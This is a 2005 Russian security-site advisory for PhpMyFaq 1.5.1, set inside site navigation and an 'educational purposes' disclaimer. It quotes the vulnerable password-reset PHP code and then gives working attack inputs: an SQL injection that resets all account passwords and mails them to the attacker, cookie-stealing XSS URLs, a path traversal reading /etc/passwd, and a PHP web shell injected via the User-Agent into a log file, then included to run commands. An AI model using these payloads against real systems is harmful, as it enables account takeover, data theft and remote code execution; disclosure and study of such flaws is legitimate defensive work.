СОДЕРЖАНИЕ:
  ДОМОЙ
  НОВОСТИ  
  IT АКАДЕМИЯ
  WAP-ВЕРСИЯ
  ФОРУМ
  БЕЗОПАСНОСТЬ
  ПРОГРАММИРОВАНИЕ
  ИНСТРУМЕНТ ВЕБМАСТЕРА
  ВСЁ ДЛЯ КПК
  СТАТЬИ NEW
  СОФТ
  ВИДЕО
  X-INFO
  ПРОКСИ ЛИСТ
  IT МУЗЫКА
  АНЕКДОТЫ
  ССЫЛКИ
  ТЕХ. ПОДДЕРЖКА
  ПРАВООБЛАДАТЕЛЯМ
  О НАС
ВАШ IP АДРЕС:
18.222.20.30
Человек на сайте На сайте: 349 человек(а)
Ђдминистрация никак не связан с авторами и содержимым ссылок
Рђеклама




Cервер : irc.comp-info.ru Порт : 6667 Канал : #comp-info


..:: Компьютерная безопасность ::..


Внимание !!! Attention !!!


Вся информация хранящаяся на сайте предоставлена исключительно в образовательных и познавательных целях. Мы рассчитываем на правильное ее использование, т. е. для повышения уровня защищенности компьютерных систем. Уважаемые посетители, мы надеемся на Вашу рассудительность. Администрация Comp-Info.ru снимает с себя ответственность за незаконное применение данных материалов. Мы хотим лишь ликвидировать необразованность администраторского состава, а так же помочь начинающим администраторам.

SQL-инъекция, выполнение команд, раскрытие информации о пользователях, раскрытие установочных путей в PhpMyFaq 1.5.1

9 ноября 2005 | ASSCOL | Security

Если magic quotes выключен, то можно выполнить SQL-инъекцию. Смотрим уязвимый
код в /admin/password.php:





$username = $_POST["username"];

$email = $_POST["email"];

$num = $db->num_rows($db->query(«SELECT name, email FROM „.SQLPREFIX.“faquser
WHERE name =

'».$username."' AND email = '".$email."'"));

if ($num == 1) {

$consonants = 
array(«b»,"c","d","f","g","h","j","k","l","m","n","p","r","s","t","v","w","x","y","z");

$vowels = array(«a»,"e","i","o","u");

$newPassword = "";

srand((double)microtime()*1000000);

for ($i = 1; $i <= 4; $i++) {

$newPassword .= $consonants[rand(0,19)];

$newPassword .= $vowels[rand(0,4)];

}

$db->query(«UPDATE „.SQLPREFIX.“faquser SET pass = '».md5($newPassword)."' WHERE
name =

'".$username."' AND email = '".$email."'");

$text = $PMF_LANG["lostpwd_text_1"]."nUsername: «.$username.»nNew Password:
«.$newPassword.»nn".$PMF_LANG["lostpwd_text_2"];

mail($IDN->encode($email), $PMF_CONF["title"].": username / password request",
$text, «From: „.$IDN->encode($PMF_CONF[“adminmail»]));



Переходим в директорию /admin, кликаем на «forgotten password». Не имея аккаунта
в системе, можно выслать на любой e-mail пароль:



user: ' or isnull(1/0) /*

mail: [your_email]



Приходящие запросы:

SELECT name, email FROM phpmyfaq_faquser WHERE name = '' or isnull(1/0) /*' AND
email = '[your_email]'



и



UPDATE phpmyfaq_faquser SET pass = '[password_hash]' WHERE name = '' or
isnull(1/0) /*' AND email = '[your_email]'



Теперь все аккаунты получили новые пароль, не только администратор. В письме
будет следующее:



«Thank you for requesting your account information.

Username: ' or isnull(1/0) /*

New Password: [password]

Please set a new personal password in the admin section of your FAQ.»



После можно входить в систему управления.



1) CSS:

http://[target]/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script>

http://[target]/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script>

2) Просмотр произвольных файлов (для Windows):

Если magic_quotes_gpc выключен в in php.ini, можно просмтаривать файлы:

http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00

3) Раскрытие информации о пользователях:

http://[target]/[path]/phpmyfaq/data/tracking[date]

где [date] сегоднешняя дата, например: 22092005

4) Раскрытие установочных путей:

http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file]

5) Выполнение команд:

В поле User Agent можно вставить php-код:

<?php system($HTTP_GET_VARS[cmd]) ?>

и, если magic_quotes выключен, можно включать log-файл для выполения команд (для
Windows)

http://[target]/[path]/phpmyfaq/index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00



**** ASSCOL ****

По всем вопросам и предложениям пишите на admin@comp-info.ru

/USR/MENU:
 ./HOME
 ./HOME/NEWS  
 ./HOME/IT_ACADEMY
 ./WAP
 ./FORUM
 ./SECURITY
 ./PROGRAMMING
 ./SOFT/4WEBMASTERS
 ./ALL4POCKETS
 ./USR/ARTICLESNEW
 ./TEMP/SOFT
 ./USR/ALL_VIDEO
 ./HOME/X-INFO
 ./TEMP/PROXYLIST
 ./IT_MUSIC
 ./JOKES
 ./HOME/LINKS
 ./USR/SUPPORT
 ./USR/POSSESSOR
 ./ABOUT_US
УТИЛИТЫ:

  Сниффер
  Лог сниффера
  MD5 и Base64
  Декодирование MD5 NEW
 Перекодировщик
  Проверить прокси
  Проверка анонимности
  Генерация пароля
  Скрипт определения IP
  Поиск информации
   Проверить IP (Whois)
   Узнать скорость закачки
   Добавить свой сайт в поисковые системы>
   Подсветка php-кода

ПОЛЕЗНАЯ ИНФОРМАЦИЯ:
  Список национальных доменных имен
  Компьютерные термины
  Смайлики
   Аналоги Win-программ в Linux
   Коды ответа HTTP сервера
   Записки невесты программиста

Опрос




Права на содержащиеся на сайте материалы принадлежат авторам.

Copyright Комп-Инфо.ру © 2005